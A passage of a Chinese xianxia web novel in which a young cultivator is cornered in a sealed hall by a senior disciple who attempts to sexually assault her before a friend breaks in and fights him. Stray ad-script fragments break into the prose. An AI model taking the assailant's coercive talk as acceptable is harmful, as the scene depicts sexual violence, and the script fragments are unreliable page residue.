唐旖柔只是看着顾长风离去的方向,眸色极冷,真气涌动,自周身汇聚至手心,再沿着剑身而下,和鲜血交缠在一处,最后自下而上形成了一把镂空剑鞘,紫色作底,间或点缀着斑驳的红色,看上去就像带着还未干涸的血迹一般。 剑鞘既成,唐旖柔不再逗留,提着剑就走了。 泽成看得目瞪口呆:“现在的师妹们都……好有……个性啊!” * 藏宝阁事件过后,叶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清漪再次成了云仞弟子口中最常谈论的一个名字。只是讨论的内容已经从最开始的叶清漪和几个师兄过从甚密,变成了叶清漪看似玩世不恭,实则灵根极佳,且刻苦非常。更有甚者说叶清漪几乎不睡觉,每晚趁大家睡着后爬起来练功。 叶清漪:“……” 和之前被传与顾长风有私情一样,谣言的离谱程度一再跌破叶清漪的想象,但她依旧没有解释,反正目前看来对她的生活没多大影响。 唯一苦恼的便是,走在路上经常遇见各种意想不到的情况—— 不是突然冲出来个面生的师妹,拿着纸笔拦住她,一脸崇拜:“清漪师姐,你好厉害,可以给我一点你的墨宝吗?写个名字也行!” 又或者时不时遇到一些师兄师弟,不是要跟她切磋比试,就是要跟她认识认识,叶清漪不胜其扰,去问道堂的路上总是提心吊胆的,又不能总用隐身术,就算在路上隐身了,在问道堂、膳堂、寝舍这些地方,她总不能还隐身吧!况且那样也耗费心力。 直到这一日,一个眼熟的师弟带着另外两个师弟,拦住了叶清漪和裴佩几人的去路。 “你就是叶清漪?你最近很是得意啊!有没有胆子跟我们文师兄较量较量。”后面两位中的一位开口道。 叶清漪无奈叹了口气。 裴佩护着叶清漪,和对面骂了起来:“我管你什么文师兄武师弟的,让开,好狗不挡道!” “你们几个女弟子怎的说话这么难听啊!果然是物以类聚!”左边那位长相周正的师弟不甘示弱,骂的更难听了。 “你再说一遍?”裴佩作势要冲出去,夏侯拉住了她,“裴师姐,莫要冲动!” 裴佩气得不轻,还欲再骂。 叶清漪伸手挡在她面前,裴佩以为叶清漪也要拦她,刚想发作,叶清漪一掀衣摆,给了那文姓师弟一记窝心脚。 文姓师弟平地飞出二丈远,连带着身后两位也一起飞了一遭,噼里啪啦落了地。 夏侯没忍住,噗嗤一下笑出声,裴佩也觉得好笑不已。 几人吃痛地在地上打滚,另一位跟着文师弟的弟子,一边哀嚎,一边伸出一只手,不甘心地指着叶清漪:“你这人……怎么不打招呼就出手,同门切磋可不是这样的!” 叶清漪掸了掸鞋面上的灰,头也不抬:“我几时说过要与你们切磋了?” “啊?”文师弟准备爬起来,结果起不来,只好躺在那里抬头看着叶清漪,声音都变了调,“你什么意思?” 叶清漪将衣摆一撂,终于认真看了他一眼:“门规严禁弟子私下比试斗殴,这都一年多了,你们还犯这种错误,真想等着三年后下山养老吗?” 几个弟子纷纷低下头,避开叶清漪质问的眼神。 叶清漪说完打算离开,这时身后传来“噗嗤”一声,有人捏着嗓子从身后的岔路走出来,听脚步声约莫有三个人。 “真以为自己是大师姐了,几时轮到她来教训人了!” 47. 第四十七章 叶清漪回身,只见唐旖柔、凌雪瑶、许欣月一起出现,之前说话的正是凌雪瑶。 “唐师姐还在这里呢!下次考核未必没有你强!”凌雪瑶揽着唐旖柔,许欣月落后半步跟在唐旖柔身后。 裴佩脸色难看:“什么时候她也跟这帮人混在一处了,真是蛇鼠一窝。” 叶清漪懒得辩解,领着裴佩她们举步欲走。 “别急着走啊!”凌雪瑶不依不饶。 “凌师姐,你误会叶师姐了,之前在山下集市,我和裴师姐起了冲突,还是叶师姐好心提点,我才没有酿成大祸,叶师姐的教诲我也时刻铭记于心呢!”许欣月声音怯怯的,一口开却话里有话。 “哟,合着你这是将自己当大师姐培养呢!之前试炼大会那次也是,一见有弟子受了伤,她就忙不迭地去请掌门了,后面还扒着二师兄不放,竟然还跑到男弟子寝舍去了,真是卖力啊!我竟没看出来你还有这般雄心壮志!怎么?是想当上大师姐再慢慢磋磨我吗?真是阴险!” “试炼大会时你不在吗?怎的这般好事没轮到你呢?”叶清漪淡淡开口,丝毫没被凌雪瑶激怒。 “你……你!”凌雪瑶气得不行。 “等着吧!叶清漪,我看你能嚣张到什么时候!你……”凌雪瑶信誓旦旦地说。 “凌师妹!快走罢!还要去跟修言长老请安。”唐旖柔出言打断,说着瞥了叶清漪一眼,什么也没说,先一步离开了。 “你什么意思?”叶清漪瞬间凛了神色。 “没什么意思,只是提醒你,有的时候太猖狂,老天爷也会看不过去的!”凌雪瑶说完就去找唐旖柔了,许欣月也随之跟上。 那几个师弟也从地上爬起来,灰溜溜地跟在她们后面走了。 “老天爷什么时候站她那边了?”裴佩走上前来,远远对着许欣月的背影啐了一声,“许欣月这下可是找到好靠山了,跟着她们俩,那在弟子中受的对待可跟从前是天差地别!这下我们又没消停日子了。” 叶清漪已经顾不上这些了,她不停想着凌雪瑶最后那句话是什么意思,陷入长久的沉默…… 只是全无头绪,也扰得她心烦,像是头上悬了把剑,不知何时会落下,又会伤到何人? * 这日休沐,叶清漪想着去藏经阁借点书看,调整下心情,正好顺带将之前借的几本还了。 正巧赶上不辞当值。 不辞在近门处的书案后面坐着,见她进来,斜睨了她一眼,收回视线,眼皮耷拉着,不再抬头看第二眼。 叶清漪将几本心法书拿出来,也不同他说什么,书也只是放在靠边缘的地方,没有像之前那样特意放到他面前。 不辞不满地皱了下眉,啧了一声,不情不愿地伸长了胳膊翻动书册,依次查看。 “这本不是藏经阁借的!”不辞语气不善,说完这句又退了回去,没有进一步解释。 看着面前堆叠在一起的书册,叶清漪愣了愣:“哪一本?” “就第三本!”不辞的语气加重了。 叶清漪掀起上面两本,将第三本取出,正是她之前多借了的那本,名字是《奇经注解》,之前她还反复读了几遍,仍觉书名甚是拗口,只是没想到内容却很不错。 “怎么会?我就是从这里借的啊!” 不辞嘴角向下,眼神暗了暗,之后一把翻开面前的登记册,用食指一下一下有力地敲着其中一页:“记档里就没这一本,难不成我还刻意为难你?” 叶清漪疑惑了,举起手里的书又确认了一番,的确是那日她多借的一本,又问不辞:“你要不再确认一番,可是你疏漏了?” 不辞终于抬眼正视叶清漪,神情无比诧异,好像受了什么奇耻大辱:“你是在质疑我吗?” 接着一把夺过那本书,一字一顿念着:“奇经注解?这什么乱七八糟的书,藏经阁从来没出现过这种。” 不辞反手将书甩了回来,“你莫不是想往里放些旁门左道的心法书,让其他同门借去修炼,继而走火入魔吧?” 叶清漪:“……” “你把书放那吧!回头我帮你扔了。” 叶清漪捏着书的一角,略半寸厚的书册,捏在手里软软的,看着半新半旧,合该有人翻阅过,里面还有几处批注,恰好解答了她颇为疑惑的几点,按照批注的字迹与习惯来看,该是同一人所写,从其中叶清漪能感受出此人与自己思路一致,对心法的理解也高度重合,就算不为探讨修炼之法,她也想知道此人是谁。 “你怎么还不走?”不辞已经拿过另外几本开始登记了。 “你替我查查这书是谁用的?” 不辞黑着一张脸:“你以为谁都像你那几个跟班一样,没的成天供你驱使?我还有藏经阁这么大一摊子事儿呢!” 叶清漪没动。 “你要实在闲得慌,自己去查便是!快快,别站着挡光线!” 不辞说完这一通,低头继续在登记册上一笔一划写着书名。 “我说,”叶清漪将书重重一拍,“替我查查这书是谁的?” 不辞被叶清漪唬了一大跳,手一抖差点写毁这一页。 他啧了一声,从鼻子里重重出了口气,下一瞬脸色大变,惊恐道:“你干什么!” 叶清漪一手按在登记册上,缓缓将他刚写的这页抓成一团。 “你你你!这页名册给你撕了,我上哪重新登记去啊!” “哦?竟看不出不辞师兄如此负责,我见师兄属实操劳,这藏经阁的事务也确实过于繁重,不如我索性将心法书撕了,也省得劳烦师兄登记了。”叶清漪说着松开捏了一半的登记册,一手按在面前一摞心法书上。 “你想干嘛!这些可都是戒律长老的宝贝!”不辞急忙起身,努力将桌上的书护在怀里。 叶清漪嘴角噙着玩味的笑意,转身朝里面成排的书架走去。 “你……你想干嘛?”不辞的声音都带着颤抖。 “我替师兄将这些书都烧了罢!这样戒律长老就不会再让师兄看管这些书了,师兄也不用总在藏经阁当值,连休沐日都不能出去,师兄这般辛苦,我都替师兄不平!” 不辞慌乱不已,跟在叶清漪后面一个劲地喊师妹:“这个就不劳师妹费心了,哈哈哈,这跟修炼之苦比起来压根不算什么, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 师兄这些年也习惯了,师妹你刚说什么,查一下那本书是吧!我这便给你查。” 不辞说着大笔一挥,书架上便生出一层柔和的金色术光,一串串金色的姓名漂浮其中,每本书都或多或少连着几个。 “这些都是曾阅过这些书籍的人,”不辞说着回身,抬手对着那本《奇经注解》一挥,书册感应般地亮了亮,却是一道白光,里面只有叶清漪一个名字。 “这么看来只有师妹你一人读过,”不辞小心赔着笑,生怕哪句又惹了叶清漪。 “不应该啊!若是如此,那上面的批注又是如何得来的?”叶清漪看着那书,眉心微蹙。 “批注?”不辞脑子飞快运转,“也有一种可能,之前看过此书的人将他的使用痕迹抹去了,不想被人发觉。” “那他为何还留了批注?” “这个我实在不知了,还是第一次遇到这种情况,可能,是想留给后人看吧!但又不想让人知道他是谁,这该不会是什么禁书吧!”不辞惊讶地捂着嘴,“你快拿走,我就当没见过此书!” 言罢看叶清漪没反应,又补了句:“师妹放心,我绝对不会告发你的。” 想来也是查不出什么了,叶清漪便拿着书离开了。 见叶清漪走远,不辞这才松了口气,又猛然想起什么,冲到书案前,翻起那页皱巴巴的纸:“幸好,之前登记的书名还都看得清,重新将这页誊写一遍即可,这师妹也太吓人了,怎么一言不合就动手,这比进山时还暴躁……” 叶清漪又将这本书拿了回去,也没有借其他书。 回去路上又遇到了顾长风泽成一行人,叶清漪拎着书袋,站在原地,等他们走过来。 顾长风走到她面前停下,跟她打招呼。 叶清漪转身面向他们,跟几个人都打了招呼。 泽成笑笑道:“你们先聊,我跟几个师弟出去采买就好。” 说完带着其他人离开了。 “师妹这是从藏经阁过来吗?”顾长风看了眼她来时的方向。 叶清漪点点头,低头瞥见顾长风的靴子,很巧的是,今日他穿了那双云烟绣金薄底快靴,这是他后来最喜欢的一双靴子,因为他第一次和叶清漪一起下山历练时穿的便是这双,可叶清漪被赶下山那日,顾长风来送她是穿的也是这双靴子。 叶清漪手指无意识地摩挲着,轻抿了一下唇,视线先是落在远处,接着才看向顾长风。 “大师兄有事?” 顾长风没有立即说明,而是问她是不是要回寝舍,得到肯定的答案后,伸手接过她的书袋:“我送你回去罢!” 叶清漪没有拒绝。 自此那日和顾长风在藏宝阁前谈了一会儿,后又得顾长风解围,替她说明了青锋剑召唤时产生变故的原因,叶清漪和顾长风之间已经不像之前那般剑拔弩张了。 论及缘由,不仅是叶清漪想开了一些,而且她还发觉顾长风和前世相比,似乎有所改变,叶清漪也算不上放下,只是约莫是她活的年数久了,比之从前成熟了不少,便想好好和顾长风相处。 她意识到,自己前世似乎也没有好好了解顾长风。 48. 第四十八章 那日她和连喜一同离开藏宝阁后,一路听连喜手舞足蹈地说她凌空飞起时有多飒爽,又说同门是如何吃惊,还介绍了半天青锋剑是如何厉害,和她十分相配之类的,叶清漪听得直摇头,又拿他没办法。 之后二人分道扬镳,连喜回后山,叶清漪回寝舍。 在寝舍大门外,叶清漪被随后赶来的顾长风叫住了。 如今顾长风陪着她一路往寝舍走,路上遇到其他人,顾长风也并不避嫌。 叶清漪看在眼里,但她也没什么可说的,两种截然不同的反应,到底哪个是真实的顾长风?她不知道。 “师妹,你最近怎么样?可有遇到什么麻烦?”此前顾长风察觉到青锋剑的召唤出了问题,怕叶清漪惹上了什么麻烦,所以追上来了解情况,叶清漪只是含糊应对两句,没有明确回答。 叶清漪踢着沿路的石子,瓮声瓮气应了句:“还好。” 二人沉默地走了一段路,叶清漪一抬头,发现到了明镜台,明镜台是回寝舍的必经之地,也是男女弟子最常停留的地方,可以说明镜台听了太多缱绻情话、真心誓言,也不知它的道心还在不在。 当年顾长风有时找叶清漪,都是约在明镜台。可他从未在白日和她在此相见过,一般都是等众人睡得差不多了,才和叶清漪在此单独见面,叶清漪曾问过他缘由,顾长风只说想跟她安静待一会,不想被人打扰。 叶清漪也没有深想。 那时她对顾长风还没有很深厚的感情,他说什么她便听着,从不追问,也不在乎是否真心。 她拒绝和他结为道侣那日,二人依旧约在明镜台,顾长风自身后紧紧将她抱在怀里,在她耳边苦苦哀求,热烈的情感和浓烈的爱意透过几层薄衫传过来,叶清漪忍不住打了个冷噤。 心跳或曾漏了一拍。 可紧贴着她后背传来的心跳声振聋发聩,让她听不清自己的心跳。 她昏头昏脑地答应了,顾长风欣喜若狂,险些一蹦三尺高,被叶清漪看到后,腼腆一笑,脸颊飞红,之后又拉着叶清漪在明镜台坐了很久,久久不愿离开。 看着他那样,叶清漪也是颇为欣慰的,想着顾长风修为也算高,人也不错,若是就这样跟他一直做道侣也算不错。 只可惜,没过多久,她就在一次闭关中不慎感染了魔气,再之后她就被仙门驱逐,并勒令永不得踏入仙山。 临别那日,顾长风来明镜台送她,从明镜台下去,便是下山的路。 那日究竟说了些什么,叶清漪记不清了,只记得顾长风红着一双眼,不停劝叶清漪进化妖池净化魔气。可那时叶清漪已经心灰意冷,不愿再留下,但顾长风并不明白,他不知道叶清漪经历的一切,也不知她不愿留下的原因。 叶清漪长长吐出一口气,心里还是堵得慌,她看向身侧尚且毫不知情的顾长风,心念微动。 重来一遍,一切就会不一样吗? 顾长风见叶清漪望着明镜台出神,低声问她怎么了? 叶清漪仰头看向他,一袭白衣,长发半挽,用玉冠扣了,从脑后垂下,阳光自他身后投下,在他周身镀上了一层金光。 叶清漪被晃得眨了眨眼睛,抬手在额前支了个凉棚,才看清顾长风的脸。 从长相到衣着,顾长风的一切都是按照仙门大师兄的要求来的,如果不曾和他深交,对他的印象都会出奇的一致,赞不绝口,无可挑剔。 但有时完美地过了头,未免教人觉得失了个性。 这个念头冒出来的瞬间,叶清漪忍不住一惊,这样的评价,不也是曾经的她吗?难道当年几个长老看她也是这般? 可那又如何呢?他们力求行事毫不出错,面面俱到,又要求他们羁傲不逊,洒脱不羁?这两者难道不矛盾吗? 顾长风见叶清漪一直望着自己,又似乎在想着一些其他事,不禁伸手在她眼前晃了晃:“师妹?在想什么呢?” 叶清漪眨了眨眼,回过神来,退后一步,和顾长风拉开距离:“没什么,只是被日头晃了眼。” 叶清漪说着转身继续走,顾长风跟上来,问她要不要去明镜台坐坐,从明镜台看到的风景不错,夏日也是纳凉的好去处。 叶清漪摇头,没有停下脚步,只是回头看了一眼明镜台,此时正值盛夏,刚经历了漫长的梅雨季,明镜台边的栀子花已悉数开了,风中都带了湿漉漉的花香。 夏侯静仪昨天还摘了两朵放在寝舍里,花香浓烈,很快便充斥了整个寝舍。 顾长风对叶清漪说了句:“你在此等我片刻。” 言罢三两步跑到明镜台边,摘了一小株栀子花,站在栀子树旁冲她挥手。 叶清漪愣愣看着,恍惚间有些迷了眼。 顾长风一直将她送到寝舍门口,临别时跟她说:“之后你要是遇到什么事了,随时都可以找我,知道吗?” 叶清漪犹豫片刻,眯着眼看他:“顾长风,你为何要对我这么好?” 顾长风还是第一次听叶清漪连名带姓地叫他,有些意外,不过也在意料之中。 他低头调整了一下表情,再看向她,眼中含笑:“何以如此问?” “我的修为不算最高的,你要提前选……有的是比我合适的人选!” 顾长风不解:“选什么?” “选道侣啊!” 顾长风没忍住轻笑出声。 “你笑什么?”叶清漪提高了语调,“我在很严肃地问你!” 顾长风握手成拳,放在嘴巴轻咳两下,才勉强止住笑意:“没什么……” “还是说,你前半生过的太顺遂,没有人像我这么对待你,你就想尽一切办法让我喜欢上你?只因为你希望一切事物都能在你掌控之中。” 叶清漪将这些日子以来的疑惑一股脑地全倒了出来,语气急切。 “你啊!”顾长风揽住一只长袖,抬手在她脑袋上轻敲了一下。 “好痛!你干嘛?”叶清漪不满地揉着脑门。 “你这丫头,小小年纪,脑子想的都是什么?” 叶清漪心虚抬眼,难道她误会顾长风了? “在你心里,师兄我便是如此小心眼的人吗?我痴长你几岁,合该对你多加包容,怎么还能和你斤斤计较呢?至于道侣什么的,如今还为时尚早,最起码也要等你进入内门之后……”意识到一时失言,顾长风连忙打住,说起其他,“况且,对一个人好,一定需要个由头吗?这世间有许多事本就无法一一解释,感情一事更是玄而又玄,又怎么能像修习术法一样整理分析呢?” 叶清漪挠了挠头,越发迷糊了:这是顾长风说出来的话? 见叶清漪一直揉着脑门,顾长风抬手想给她揉一揉,又察觉到有些冒犯,举起的手在半空转了方向,力道实在地拍了拍叶清漪的肩膀。 “师妹不必多想,你只需按自己心意来行事便好,不必在意其他人,不管是恶语相向,还是无条件地支持,那都是他人的事,可你依旧是你,不以外物所移,嫉恨你的人不必在意,关怀你的人自是希望你能随心所欲,不希望你有负担,若是对你有所要求,那便不是喜欢原本的你了。总之我只希望师妹可以无拘无束,一直如此开心下去。” 叶清漪听得两眼发直,忍不住伸手在顾长风额头探了一下。 “师妹你干嘛?” 叶清漪又摸了摸自己的额头:“也不烫啊!难道是我疯了?竟听到这种话从顾长风嘴里说出来?” 顾长风哭笑不得:“跟你说这些你也不懂,快些回去休息罢!今日难得休沐,就别看书了!” 言罢将叶清漪的书袋还给她,便转身离开了。 叶清漪晕头晕脑地进了寝舍,其他人都下山去玩了,寝舍里没人,一阵暖风袭来,带起一股沁人心脾的栀子花香,她这才回过神来,看着夏侯静仪养在窗台的那瓶栀子花,此刻正在风中舒展着枝叶,得意地散发着香气。 她将书袋放下,找了个青瓷蒜头瓶,去院子里的山泉池子里将花叶简单浸了一下,轻柔地洗去上面的泥巴,灌了点泉水,将花养在了卧榻一侧的台子上,趴在台沿观赏。 白中带了点鹅黄的花瓣上还沾着点点露水,叶清漪深深吸了一口气,香气清甜浓郁,闻之心生欢喜。 “栀子比众木,人间诚未多。于身色有用,于道气伤和。 “红取风霜实,青看雨露柯。无情移得妆,贵在映江波。” 看了一会儿,叶清漪忽然想起什么,翻身下榻,从自己那格书架中取出方才放进去的书袋,将那本《奇经注解》拿了出来。 思忖片刻,她拿着书去了思过堂。 当时她借完书就去了思过堂修炼,曾短暂地将书放在地上,后来回去之后就发现多了这本,当时在思过堂时这本书在不在其列,她已经没印象了,想来最近诸事繁杂,也很久没去思过堂了,今日门内人少,难得清净,正好去打坐一番,也平复一下近来繁杂的思绪。 思过堂如今已鲜有人踏足,叶清漪刚进山时,还不时有弟子过来打扫一番,后来见这地方闲置已久,长老们也从不过问,慢慢就躲懒不来了。 叶清漪也有数月没来了,上次来的时候思过堂前的海棠花开得正好,如今只剩满树青绿的海棠果了。 叶清漪推门进去,由于很久没人来,又经过长达一个多月的黄梅季,堂内有股淡淡的霉味,叶清漪想着这边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人迹罕至,今日门内又没什么人,便将大门开着,通会儿风。 这么久没来,里面和之前一样,空空荡荡,依旧只有正中心摆着的几个蒲团。 叶清漪走近一些,发现蒲团边上摆着一小摞书册,这是之前从来没出现过的。 这思过堂后来有关过谁吗?可她未曾听说啊! 在确认没有隐藏的结界和阵法后,叶清漪这才按下心思走上前去,拿起最上面一面草草翻看了一下。 和《奇经注解》一样,书中有少量批注,字迹也一致,叶清漪又看了其他几本,不论是书册的使用痕迹,还是批注的格式和行文习惯,都能看出是同一人留下的。 难道除了她,还有其他人也把问道堂当成修炼之地? 叶清漪正翻看着,忽然心中一动,看向敞开的大门,急忙放下书,又将其摆放得和之前一样,接着隐身躲进角落的柱体之中。 果不其然,很快就有脚步声靠近,一个身影映在窗户上,逐渐走到门口,一袭素色的衣摆扬起,来人举步跨过门槛,进得堂来。 是个面生的门中弟子。 来人进来后扫了一圈堂内,某个瞬间,叶清漪觉得他似乎跟她四目相对了,新弟子中修为超过她的屈指可数,难不成是哪个师兄? 不过对方并没有发现她,而是直接走到中心,将蒲团摆好,又从怀里取出一本书,放在了那堆书册上面。 这些书都是他拿来的? 那弟子将书搁下,转身欲走,叶清漪按捺不住,直接现身:“师兄且慢!” 那弟子闻言停下脚步。 叶清漪紧走两步上前,从怀里拿出那本《奇经注解》:“敢问师兄,此书可是师兄所有?” 那弟子看了叶清漪一眼,又看向她身后的柱子:“你方才是用隐身术躲在此处?” “师兄见谅,事出突然,一时情急便暂时隐身了。”叶清漪简单解释了两句。 那弟子的视线又落在她手里的书上,迟疑地接过:“师妹修为了得,我竟没有察觉!” “我此前来堂内打坐时,将几本书册放在一旁,走的时候大约是不小心将师兄的书一并收走了,只是我误以为是从藏经阁多借了一本,便留存至今,今日去还书才知道,但愿没给师兄添麻烦。” 弟子翻了翻那本书,神情有些奇怪,没有恼怒,也没有说明是否是他遗失的,而是探究地打量着叶清漪,嘴角还带着一丝玩味的笑意:“师妹面生得很,敢问芳名?” 叶清漪觉得有些不对劲,没有直接报上名号:“我就是个普通弟子,不劳师兄记挂,既然已经物归原主,那我便先行告辞了。” “诶?师妹何必急着离去呢?”那弟子伸手拦住叶清漪,侧首跟她说话,语气轻佻,还刻意靠她很近。 叶清漪后退一大步,和他保持距离,再细看其姿态,心中已有几分猜测:“这书不是你的罢!” “是不是又有什么要紧,重要的是,你我因此书结缘,那便是冥冥之中注定好的,师妹又怎好辜负呢!”那弟子说着一步步向叶清漪靠近,还一抬手关上了身后的门。 叶清漪立马察觉:“你在门上打了结界?” “这不是为了没人来打扰我们嘛!”他说着将书直接扔到了一旁,作势就要褪去外衣。 叶清漪暗道不好,那弟子功力远在她之上,她出来又没带青锋剑,更加不是他的对手。 “你再这样,我可要喊人了!”叶清漪渐渐被逼到墙角。 “我劝师妹还是别白费力气了,此处僻静少人,今日又值休沐,师兄弟们都下山了,门中已经没什么人了,就算有,他们也不会没事跑到这里来,我若不是那日偶然路过,也不会发现门中还有这么个好地方,里面还有这些高等心法书籍,如今想来,该是我与师妹命中注定要在此相遇。”那人一手撑在叶清漪头顶,另一手抚上她的脸颊,好看的桃花眼眼尾上挑,带着几分凉薄与漫不经心。 叶清漪汇聚真气于掌心,抬手直接朝他腹部袭去,却被对方轻而易举地捏住手腕,轻轻往她怀中一推,就将她的真气化去了。 “师妹这是想和我探讨术法吗?” “你也看了那些书?” “不错,这些果然是奇书,如今我的功法突飞猛进,我看过些时日,就连顾长风和连喜都要拜在我手下了!” 叶清漪敏锐地察觉到,他似乎刻意提起这两个名字,莫不是知道叶清漪和他二人交好,暗示她就算有他们的庇护也是无用。 不知怎的,叶清漪忽然想到凌雪瑶之前说的“我看你能嚣张到什么时候”等语,再看向眼前之人,眼中精光一轮。 那把剑似乎落下来了…… 49. 第 49 章 “你可知欺辱同门是要被驱逐下山,永不应召的?”叶清漪冷冷看着对面之人。 对方不以为意地一哂:“那又如何?我几时欺辱同门了?不过是对师妹一见如故,想和师妹好好探讨探讨罢了。况且,若是同我双修,师妹的修为只会更加突飞猛进,师妹何以不愿呢?” “你也配?”叶清漪呸了一口。 对方被这一下喷地侧过脸去,却没有恼怒,反而玩味地轻笑出声,神情还带着点享受。 “看来师妹这是心急了,不知道越是如此,越能让人有征服师妹的冲动吗?”那人说着直接一把抽出她的腰带,里面的亵裤应声掉落。 叶清漪眸色极冷,浑身血液都冷了下来,双手紧握成拳,指甲深深嵌入掌心,刺得她生疼。 对方却愈发红了眼,呼吸也变得粗重,他贴近几分,眼中情.欲愈盛,手掌更是放肆地在叶清漪身上游离,但只是隔着一点距离轻轻抚摸衣物表面,似乎在享受这般玩弄的过程。 叶清漪强抑住几欲溃败的情绪,定定看着眼前之人,也不避让,任由他炙热的气息喷薄在她脖颈和脸颊。 “就你这样的人也配修仙,还想跟大师兄二师兄比,他俩简直甩你几条街了!”叶清漪冷笑一声,语气平静。 那人的神情瞬间变得狠厉,一把箍住叶清漪的脖颈:“我警告你,再乱说一句,我就立马将你扒光!” 叶清漪不为所惧,梗着脖子:“一个连自己的欲.望都控制不住的人,还能有多大造诣呢?你如今少说也已结丹多时,口腹之欲倒好说,也有修仙之人戒不掉这些,有人好酒,有人喜食肉,这些都无伤大雅,可你这般,弱势太明显,要是被人下个迷药或是遇上妖邪施加媚术,只怕你是在劫难逃!这点自控能力都没有,你说,你拿什么跟两位师兄比?” “还轮不到你来教训我!”那弟子恼羞成怒,一把甩开叶清漪,将她掼倒在地。 叶清漪狼狈不已,可这些跟她前世在魔气侵体后在灭灵狱受的罪,以及在魔界日日被仙气反噬的痛苦相比,根本算不得什么。 叶清漪撑着地准备爬起来,后背却忽然被一道力量压住,那弟子欺身坐在她身上,将她牢牢压在当下。 叶清漪挣扎了一下,立刻被压制住,双手被反剪身后,用不上力气,不可避免地落了下风。 浑浊的气息再次喷在她耳后,叶清漪一个激灵,那人凑在她耳边,强压下怒气,语气戏谑道:“听着!不管你说什么,今日你我要定了!” 对方说着用一只手将她双手手腕握住,腾出手一把掀起她衣裙后摆,只留下薄薄一层内衬。 叶清漪情急之下只好试着声召唤青锋剑。 对方一边低头解着自己的腰带,一边语带嘲弄:“师妹如今的修为,只怕还无法隔空召唤佩剑吧!” 叶清漪喊了几遍,灵剑一点感应也没有,叶清漪心灰意冷,暗暗发誓日后要加速修炼进程,待她成为大师姐那日,第一件便是取了这腌臜东西的狗命! 千钧一发之际,一声清啸破空而起,门外亮起阵阵白光,青锋剑已至门口! 那人停下动作,看向门外,愣了片刻:“没想到你还真将灵剑召来了!可又能如何呢?你修为不足,灵剑破不开我的结界,根本进不来!” 叶清漪努力抬头望去,青锋剑在门外徒劳地砍劈着,却破不了这结界分毫。 “别做无谓的挣扎了!就算有青锋剑你也不是我的对手!可叹神兵在你手里无法发挥全部的威力,就算得了排名第五的神兵又如何!” 叶清漪手腕因为挣扎磨破了皮,肩膀也被拉得失去知觉。 一只手贴上她的腰际,捏住薄衫一角,缓缓掀起。 叶清漪一滴泪自眼角滑落,烫得她脸颊生疼。 “轰——”地一声,大门被人大力踹开,一股凌冽的仙力骤然袭来,将她身上的人掀飞! 叶清漪转头望去,看见连喜正站在门外,一手拿着墨羽剑,一手拿着她的青锋剑,一看她这般情形,连忙三步并两步冲过来,搁下双剑,脱了外衫给她盖上。 “连喜,你又坏我好事!”那人气急败坏道。 连喜并不搭理他,只查看叶清漪的情况:“你没事吧!” 叶清漪摇摇头:“我没事!” 连喜按下怒气,柔了神色跟她解释:“去你寝舍见你不在,又去了藏经阁寻,从不辞那里得知你刚还过书,一时不会再来,便又去了问道堂和膳堂,都不见人,我知你一贯不爱下山,肯定遇到麻烦了,只是将前山跑了好几遍也没找到你,最后还是看到青锋剑飞出,这才找到这里。” 叶清漪揉着吃痛的手腕,稍微恢复了一些知觉,很快调整好情绪,看向那位弟子,对连喜道:“你先收拾他,我无大碍。” 连喜会意,不再多言,拿起墨羽剑就跟那位厮打在一处。 叶清漪的手还没完全恢复力气,她艰难站起身,将亵裤穿好,系好腰带,将连喜的外衫放在一旁,拿起青锋剑,举剑也向那人刺去。 一拿起剑,招式很快就一点点想起了,但的确如这人此前所言,她发挥不出灵剑该有的威力。 对方修为的确很高,原本他和连喜还能不分上下,叶清漪加入后,连喜又要对招,又要顾着叶清漪,有些分心,不慎被对方找到破绽,一剑刺来,叶清漪眼疾手快,抬起一脚踢过去,却被那人落下的剑误伤到了小腿,整个人更是被对方的护体灵力震开,直接撞上身后的柱子。 叶清漪护着心口,跪倒在地,喉口一热,一股恶血不受控制地从嘴里涌了出来。 连喜急忙冲过来:“叶师妹,你没事吧!” 叶清漪摆手,刚想开口,就感觉喉咙口一股腥甜上涌,又接连咳出几滩污血来。 “哼,不自量力!”对方神态鄙夷。 “你住嘴!”连喜怒吼。 “不是我说,连喜,就这么个身材干瘪姿色平平的小不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点,有什么好的,也值得你这么在意?” “晏临,你平日猖狂无度,如今还无视门规欺辱同门,与我到掌门面前分说!” “你当我傻啊!掌门是你亲师尊,自然向着你了,哪是我们普通内门弟子能比的。” “当年你本是我们几位师兄弟中修为最强的,若非你见我被掌门收下,心生怨怼,如今至少也是某位长老的亲传弟子。” “我修为远在你之上,掌门亲传才足以与我匹配,可云宸偏偏认定了你,只能怪他有眼无珠,要不是你进了流云殿,这两年修为怎么会精进得这么快!可那又如何,你很快就要不是我的对手了!” 晏临说着又一剑刺过来,连喜举剑挡开,确认了一下叶清漪的状况,又上去跟晏临缠斗在一处。 二人你来我往,打得不分上下,叶清漪缓了缓气息,用剑将割破的衣摆挑开,干脆沿着破损的口子将衣摆裁断,让腿上的伤口暴露在外,不至于和衣裳粘连在一处。 这么简单处理了一下,叶清漪手握青锋剑坐在那里,看连喜跟晏临不断过招,思过堂空旷,又没有什么摆设,若非如此,还不够他们打个来回。 叶清漪紧握剑柄,贴着柱子缓缓站起,看着二人你来我往,势均力敌,伺机找寻晏临的破绽。 “攻他左下腹,他惯使右手,左下每隔四招必有空防!”叶清漪大喊。 连喜和晏临同时听到,二人同时调整战术,晏临一时还有空当回话:“你区区一介仙徒,竟还妄想学仙门弟子破人招式!” 仙徒自是看不出,可这对叶清漪却不难,只是她如今修为尚浅,连晏临这般将将结丹之人的招式都看得有些吃力。 晏临嘴上如此说着,可之后的出招却更注意防守左下腹部,连喜作势佯攻左下,晏临调转剑势格挡,不料连喜半路忽然扭转剑锋,直击他右肩。 晏临格挡不及,硬生生受了这一剑。 墨羽剑直直刺入他肩胛骨,带着他一路向后,冲开正中央的蒲团和书册,直直撞上最里面的木墙,墨羽剑刺透他的肩膀,直接扎进身后的墙体之内。 “你们……故意大声讨论战术,实则是为了乱我阵脚,扰我心神!当真卑鄙!”晏临吃痛不已,鲜血顺着他的肩膀流淌而下,将他半边衣裳都洇湿了。 